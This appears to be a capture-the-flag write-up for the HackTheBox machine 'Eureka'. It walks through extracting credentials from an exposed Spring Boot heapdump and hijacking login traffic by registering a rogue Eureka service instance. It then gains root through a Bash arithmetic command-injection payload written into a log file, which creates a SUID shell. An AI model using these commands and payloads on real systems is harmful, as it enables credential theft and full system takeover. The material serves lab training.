HackTheBox - Eureka

— Written by — 14 min read
eureka-hackthebox-infocard

Eureka just retired on HackTheBox, and it was a good “Hard” Linux machine that made me learn a few new tricks. This box was a fun challenge, needing good enumeration, a bit of knowledge about Java Spring Boot problems, and a smart way to look at how services find each other to get the user flag. The path to root then moved to a cool Bash script vulnerability, showing that even simple-looking scripts can lead to privesc. In the end Eureka was a well-made box and a great way to learn, especially about common Spring issues and tricky script exploits. Definitely one to try if you like a challenge with a few steps!

Tl;Dr: To get the user flag: first, find an exposed Spring Boot /actuator/heapdump endpoint. Analyze the heapdump to extract initial user credentials (oscar190). Further analysis of the same heapdump reveals credentials for a Spring Eureka service. Exploit Spring Eureka by registering a malicious service instance to hijack traffic intended for the USER-MANAGEMENT-SERVICE, capturing credentials this way for miranda-wise and gaining access to the user flag.
For the root flag: identify a cron job executing a Bash script (/opt/log_analyse.sh) as root, which processes application logs. miranda-wise user can write to one of these log files due to developers group membership. Exploit a command injection vulnerability within the Bash script’s arithmetic evaluation context ([[ ... -eq ... ]]) by crafting a malicious log entry, allowing arbitrary command execution as root to set up an SUID binary for a root shell.

Alright! Let’s get into the details now!


First things first, let’s add the box IP to our /etc/hosts file:

1
[hg8@archbook ~]$ echo "10.10.11.66 eureka.htb" >> /etc/hosts

And let’s start!

User Flag

Recon

Let’s begin with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[hg8@archbook ~]$ nmap -sV -sT -sC eureka.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-23 11:51 UTC
Nmap scan report for eureka.htb (10.10.11.66)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds

We have a typical web app running on port 80 and the SSH port 22 open. We can see that port 80 redirects to a new hostname. Let’s add it to our hosts file as well:

1
[hg8@archbook ~]$ echo "10.10.11.66 furni.htb" >> /etc/hosts

Opening http://furni.htb displays the following page:

Furni Homepage

Let’s do the usual web page enumeration on this site.
Nuclei returns one particularly interesting “critical” result:

1
2
3
4
5
6
7
8
9
10
11
12
13
[hg8@archbook ~]$ nuclei -u http://furni.htb

__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.4

projectdiscovery.io

[...]
[springboot-heapdump] [http] [critical] http://furni.htb/actuator/heapdump
[...]

SpringBoot Heapdump

A quick lookup reveals why the heapdump is an interesting file that shouldn’t be exposed publicly like this:

The Spring Boot Actuator heapdump endpoint is designed to capture the current state of the Java heap, making it a valuable tool for diagnosing memory issues. However, if credentials such as passwords, tokens, cloud keys, or other secrets are loaded into the memory of a Java application’s JVM during its runtime, these might be included in the heap dump.

Let’s download it and search through it; maybe we can find passwords, credentials, or other secrets:

1
curl http://furni.htb/actuator/heapdump -O

strings and grep are enough to find what we are looking for.

1
2
3
[hg8@archbook ~]$ strings heapdump | grep -E "password=" -C 10
[...]
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!

Oscar User

We now have credentials for a user named oscar190. Let’s see if Oscar reuses these credentials for SSH:

1
2
3
4
5
[hg8@archbook ~]$ ssh oscar190@eureka.htb

Last login: Wed Jun 4 14:00:18 2025 from 10.10.14.93
oscar190@eureka:~$ ls
oscar190@eureka:~$

We gain access to Oscar’s account on the server. No flag here yet.
Looking at /etc/passwd and /home/, it seems like we might need to pivot to the user named miranda-wise:

1
2
3
4
oscar190@eureka:~$ ls -l /home
total 8
drwxr-x--- 8 miranda-wise miranda-wise 4096 Mar 21 13:26 miranda-wise
drwxr-x--- 5 oscar190 oscar190 4096 Apr 1 12:57 oscar190

With that in mind, let’s see what ports are listening on the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
oscar190@eureka:~$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 127.0.0.1:8081 :::* LISTEN -
tcp6 0 0 127.0.0.1:8082 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::8761 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp6 0 0 :::39747 :::* -
udp6 0 0 :::48105 :::* -
udp6 0 0 :::58472 :::* -
udp6 0 0 :::40522 :::* -

Spring Eureka Access

Most ports seem uninteresting for now, except for port 8761. This is the default port for Spring Eureka. Considering the box name (eureka), this seems like a promising lead.
Let’s try to access it:

1
2
3
4
[hg8@archbook ~]$ curl http://eureka.htb:8761/ -I
HTTP/1.1 401
[...]
WWW-Authenticate: Basic realm="Realm"

It’s protected with Basic Auth, and the credentials we retrieved earlier (oscar190:0sc@r190_S0l!dP@sswd) do not work.

Perhaps we should revisit the heapdump. Given its size, it might contain more interesting information, specifically about this Spring Eureka instance running on port 8761.

We indeed find something very interesting: an HTTP query log showing access to localhost:8761, which includes Basic Auth credentials:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ strings heapdump | grep -E "^Host:\s+\S+$" -C 10
[...]
GET /eureka/apps/delta HTTP/1.1
Accept: application/json, application/*+json
Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==
Accept-Encoding: gzip, x-gzip, deflate
Host: localhost:8761
Connection: keep-alive
User-Agent: Apache-HttpClient/5.3.1 (Java/17.0.11)
1
2
[hg8@archbook ~]$ echo 'RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==' | base64 -d
EurekaSrvr:0scarPWDisTheB3st%

We can now access the Spring Eureka admin page:

Spring Eureka

This page looks a bit confusing at first. We need to understand what Spring Eureka is and what it’s used for. According to the documentation, Spring Eureka simply provides integrations for Spring Boot apps with “Netflix Eureka”.
The Netflix Eureka documentation describes it as:

Eureka is a RESTful service that is primarily used in the cloud for the purpose of discovery, load balancing and failover of middle-tier servers.

To keep it simple: it’s a service discovery tool. It helps microservices find and communicate with each other without hardcoding hostnames or IPs.

Given that we have access to this Eureka instance, the first thing that comes to mind is: Can we register a malicious application? And what access or impact could we gain by doing so?

We notice an interesting instance already registered: USER-MANAGEMENT-SERVICE. Let’s keep that in mind to see if we can find a way to exploit this instance.

Traffic Hijacking via Malicious Instance Registration

While researching this “malicious instance” registration idea, I stumbled upon a very interesting blog article which dives deep into a few exploitation scenarios. The one that caught my attention was Traffic Hijacking.
The idea here is to register a new instance of USER-MANAGEMENT-SERVICE and point it to a malicious server we control. By doing so, the APP-GATEWAY should begin to route HTTP traffic intended for USER-MANAGEMENT-SERVICE to our malicious server instead. Given the name USER-MANAGEMENT-SERVICE, it’s likely that credentials or sensitive user data will be present in this traffic.

Let’s see if we can pull this off!

First, we need to find a way to register a new instance. According to the documentation, we can leverage the REST API to do so.
The documentation itself is outdated and frankly terrible, but after a bit of trial and error, we were able to craft a POST request to add a new instance to the USER-MANAGEMENT-SERVICE application. Our malicious instance is quite simple here: we will have netcat listening on port 8585 to retrieve all the traffic forwarded by APP-GATEWAY that was meant for USER-MANAGEMENT-SERVICE.

Final Request (the vipAddress field gave me a lot of pain):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[hg8@archbook ~]$ curl -X POST -u "EurekaSrvr:0scarPWDisTheB3st" http://eureka.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{
"instance": {
"instanceId": "hg81",
"hostName": "10.10.XX.XX",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "10.10.XX.XX",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"port": {"$": 8585, "@enabled": "true"},
"status": "UP",
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}
'

We can confirm its registration by checking the admin page or querying the API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[hg8@archbook ~]$ curl -u "EurekaSrvr:0scarPWDisTheB3st" http://eureka.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE
<application>
<name>USER-MANAGEMENT-SERVICE</name>
<instance>
<instanceId>hg8</instanceId>
<hostName>10.10.XX.XX</hostName>
<app>USER-MANAGEMENT-SERVICE</app>
<ipAddr>10.10.XX.XX</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8585</port>
<securePort enabled="false">7002</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
</instance>
<instance>
<instanceId>localhost:USER-MANAGEMENT-SERVICE:8081</instanceId>
<hostName>localhost</hostName>
<app>USER-MANAGEMENT-SERVICE</app>
<ipAddr>10.10.11.66</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8081</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
</instance>
</application>

We open our nc listener, and after a few minutes, we receive what we expected:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on 0.0.0.0 8585


Connection received on furni.htb 41716
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=ZGUzMTNlMDItNTAyOC00YTRlLTg5MjUtYmU2M2E5MWEyZWIx
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:36048"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.XX.XX:8585

username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=vzxrraPEu9su8YVdwDUaBaoh_W7tCy3chwulNtZ_J6Vudon1iAlTnJv0g7oDyeE89BguMZsQ0FaOMkvxtmidA-AdEp1ZEO_B

Great! We got some credentials for Miranda: miranda-wise:IL!veT0Be&BeT0L0ve.

Miranda User

1
2
3
4
5
6
7
[hg8@archbook ~]$ ssh miranda-wise@eureka.htb
miranda-wise@eureka.htb's password:

miranda-wise@eureka:~$ ls
snap user.txt
miranda-wise@eureka:~$ cat user.txt
2aXXXXXXXXXXXXXXXXXXX35a

Root Flag

Recon

My go-to method is running pspy to check what interesting processes are running as root. It’s always a great path for privilege escalation.

1
2
3
4
5
miranda-wise@eureka:/tmp$ wget 10.10.XX.XX:8000/pspy64 && chmod +x pspy64 && ./pspy64
[...]
2025/06/04 17:40:01 CMD: UID=0 PID=48240 | /bin/sh /opt/scripts/log_cleanup.sh
2025/06/04 17:40:01 CMD: UID=0 PID=48243 | /bin/bash /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
2025/06/04 17:40:01 CMD: UID=0 PID=48249 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log

I quickly noticed what looks like a homemade script to analyze the logs of the main application. We don’t have permission to read /opt/scripts/log_cleanup.sh; however, we can read /opt/log_analyse.sh. Let’s take a look.

Log Analysis Script (/opt/log_analyse.sh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/bin/bash

# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'

LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"

declare -A successful_users # Associative array: username -> count
declare -A failed_users # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs

if [ ! -f "$LOG_FILE" ]; then
echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
exit 1
fi


analyze_logins() {
# Process successful logins
while IFS= read -r line; do
username=$(echo "$line" | awk -F"'" '{print $2}')
if [ -n "${successful_users[$username]+_}" ]; then
successful_users[$username]=$((successful_users[$username] + 1))
else
successful_users[$username]=1
fi
done < <(grep "LoginSuccessLogger" "$LOG_FILE")

# Process failed logins
while IFS= read -r line; do
username=$(echo "$line" | awk -F"'" '{print $2}')
if [ -n "${failed_users[$username]+_}" ]; then
failed_users[$username]=$((failed_users[$username] + 1))
else
failed_users[$username]=1
fi
done < <(grep "LoginFailureLogger" "$LOG_FILE")
}


analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}


analyze_log_errors(){
# Log Level Counts (colored)
echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
log_levels=$(grep -oP '(?<=Z )\w+' "$LOG_FILE" | sort | uniq -c)
echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
if ($2 == "INFO") color=blue;
else if ($2 == "WARN") color=yellow;
else if ($2 == "ERROR") color=red;
else color=reset;
printf "%s%6s %s%s\n", color, $1, $2, reset
}'

# ERROR Messages
error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
echo -e "\n${RED}[+] ERROR Messages:${RESET}"
echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'

# Eureka Errors
eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
eureka_count=$(echo "$eureka_errors" | wc -l)
echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
echo -e "${YELLOW}Count: $eureka_count${RESET}"
echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}


display_results() {
echo -e "${BLUE}----- Log Analysis Report -----${RESET}"

# Successful logins
echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
total_success=0
for user in "${!successful_users[@]}"; do
count=${successful_users[$user]}
printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
total_success=$((total_success + count))
done
echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"

# Failed logins
echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
total_failed=0
for user in "${!failed_users[@]}"; do
count=${failed_users[$user]}
printf "${RED}%6s %s${RESET}\n" "$count" "$user"
total_failed=$((total_failed + count))
done
echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"

# HTTP status codes
echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
total_requests=0
# Sort codes numerically
IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
unset IFS
for entry in "${sorted[@]}"; do
code=$(echo "$entry" | cut -d':' -f1)
count=$(echo "$entry" | cut -d':' -f2)
total_requests=$((total_requests + count))

# Color coding
if [[ $code =~ ^2 ]]; then color="$GREEN"
elif [[ $code =~ ^3 ]]; then color="$YELLOW"
elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
else color="$CYAN"
fi

printf "${color}%6s %s${RESET}\n" "$count" "$code"
done
echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}


# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"

This one was tricky and took me a while to find. I had already searched the rest of the server for other privilege escalation vectors but hadn’t found anything besides this interesting configuration:

1
2
3
4
5
6
7
8
9
miranda-wise@eureka:/tmp$ ls -la /var/www/web/cloud-gateway/log/
drwxrwxr-x 2 www-data developers 4096 Jun 4 18:34 .
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 ..
-rw-r--r-- 1 www-data www-data 21254 Jun 4 18:42 application.log
-rw-rw-r-- 1 www-data www-data 5702 Apr 23 07:37 application.log.2025-04-22.0.gz
-rw-rw-r-- 1 www-data www-data 5956 Jun 4 17:01 application.log.2025-04-23.0.gz

miranda-wise@eureka:/tmp$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)

So, while we don’t have permission to edit application.log directly, we are part of the developers group. This means we can delete and recreate the file with any content we want. We know that this log file is being read by the root-owned script: /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log.

Let’s review the script once more, keeping in mind that we can potentially inject content into the log file it processes (and, as a reminder, the script runs as root).

Arithmetic Evaluation Code Injection

This function is interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

I first noticed the regex used by grep (grep -oP 'Status: \K.*') looks problematic, as it doesn’t have an end delimiter. If we create a line in the log like “Status: 200 Hello World!”, then the $code variable will contain 200 Hello World!.
By itself, this isn’t necessarily a problem. However, the vulnerability appears later in the comparison: if [[ "$existing_code" -eq "$code" ]]; then. It took me a bit of research to realize that in Bash’s [[ ]] conditional construct, the -eq operator forces arithmetic evaluation of its operands. So, if $code contains something like 1+1 or, more dangerously, an arithmetic expression containing a command substitution like 0[$(malicious_command)], Bash will evaluate it.

We can craft our command injection using array subscript syntax in Bash arithmetic (0[$(cmd)]). The if condition will then be evaluated somewhat like this (conceptually):

1
[[ 5 -eq 0[$(touch /tmp/test)] ]]

Given that we can inject code that will be run as root, let’s go for the classic SUID bit trick on Bash:

1
2
3
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ rm application.log
rm: remove write-protected regular file 'application.log'? y
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo 'Status: 0[$(cp /bin/bash /tmp/bash;chmod u+s /tmp/bash)]' > application.log

We wait a bit, and bingo!

1
2
3
4
5
6
miranda-wise@eureka:/tmp$ ls
bash

miranda-wise@eureka:/tmp$ ./bash -p
bash-5.0# cat /root/root.txt
1a7XXXXXXXXXXXfb96b

That’s it folks! As always, do not hesitate to contact me for any questions or feedback!

See you next time ;)

-hg8



CTFHackTheBoxHard Box
, , , , , , , , , , , ,